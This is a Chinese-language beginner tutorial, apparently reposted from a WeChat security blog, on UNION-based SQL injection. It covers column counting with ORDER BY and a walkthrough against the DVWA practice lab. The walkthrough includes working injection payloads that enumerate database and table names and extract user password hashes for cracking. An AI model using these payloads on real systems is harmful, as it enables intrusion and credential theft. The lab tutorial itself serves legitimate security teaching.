SQL注入之UNION注入

admin 2022年7月24日04:18:44评论128 views字数 1500阅读5分0秒阅读模式

本文是Web安全入门系列的第2篇文章


上篇文章介绍了SQL注入点的定位方法,找到了注入点,就可以开始注入攻击了,接下来的几期我们将介绍常用的SQL注入攻击姿势,摆对姿势,才能愉快的凹造型~


SQL注入之UNION注入











01

写在前面的话


1. 首先,学会SQL语法,不会SQL语法无从谈SQL注入

2. 本系列文章基于关系型数据库,非关系型数据库(NoSQL)不在讨论范围之内

3. 不同类型不同版本的数据库SQL语法存在差异,因此重在理解原理,实践中自行调整

4. 光说不练假把式,请多练习;学海无涯贵在坚持,共勉


02

什么是UNION注入?


什么是UNION?

UNION 是SQL的集合运算操作符,作用是合并两个或多个 SELECT 语句的结果集。

什么是UNION注入?

UNION注入是最流行的SQL注入类型之一,攻击者利用UNION后面的语句执行恶意SQL代码,从数据库中获取数据。这种攻击方式应用很广,因为几乎所有关系型数据库都支持UNION。

SQL注入之UNION注入

这是一条正常的MySQL UNION语句:

SELECT first_name,last_name FROM users UNION SELECT first_name,last_name from department

SQL注入之UNION注入

这是一条加了恶意SQL代码的UNION语句,通过执行恶意SQL代码,我们拿到了数据库名称和用户:

SELECT first_name,last_name FROM users UNION select DATABASE(),user()

SQL注入之UNION注入



02

判断UNION列数


UNION注入必须遵守UNION的语法规则:只能执行SELECT操作,且UNION内部每SELECT语句查询的列数必须相等。也就是说,在确认可以执行UNION注入后,我们首先要弄清楚到底需要拼接几个查询字段。

如果UNION前后SELECT语句查询列数不一致,像这样:

SELECT first_name,last_name FROM users UNION SELECT last_name from department

就会报错

SQL注入之UNION注入

在实际场景中,前端可能只显示了部分字段,如SELECT语句查询了5个字段而前端只显示了其中3个,这就给UNION注入造成了困难,那么,怎么判断查询的字段数呢?

SQL注入之UNION注入

聪明可爱姿势众多的前辈们教我的方法是:ORDER BY

我们用ORDER BY 1,ORDER BY 2,ORDER BY 3......依次尝试:SQL注入之UNION注入SQL注入之UNION注入

SQL注入之UNION注入


03

实战

最后,让我们来一点一点挖出越来越多的信息。

SQL注入之UNION注入

查询数据库名称

回到上一期的DVWA靶场,首先查询当前数据库名称

输入:2' UNION SELECT 1,database() # (注入语句"SELECT 1,database()"中的"1",就是为了凑齐查询列数而添加的)SQL注入之UNION注入

获取数据库表名

输入:2' UNION SELECT 1,table_name FROM information_schema.tables where table_schema='dvwaSQL注入之UNION注入

获取表字段名

输入:2' UNIONSELECT 1,column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='usersSQL注入之UNION注入

获取表数据

接下来输入:2' UNION select user,password from users #

找到管理员账户admin和admin的密码:SQL注入之UNION注入

拿到密码后可对密码进行破解,破解成功后我们就拿到了admin的登录账号和密码啦~


本期内容就到这里了,下篇文章我们将介绍另一种注入类型:报错注入,期待下期再见~


SQL注入之UNION注入

(部分图片源自网络,侵删)

原文始发于微信公众号(陆吾安全攻防实验室):SQL注入之UNION注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月24日04:18:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入之UNION注入https://cn-sec.com/archives/1067652.html

发表评论

匿名网友 填写信息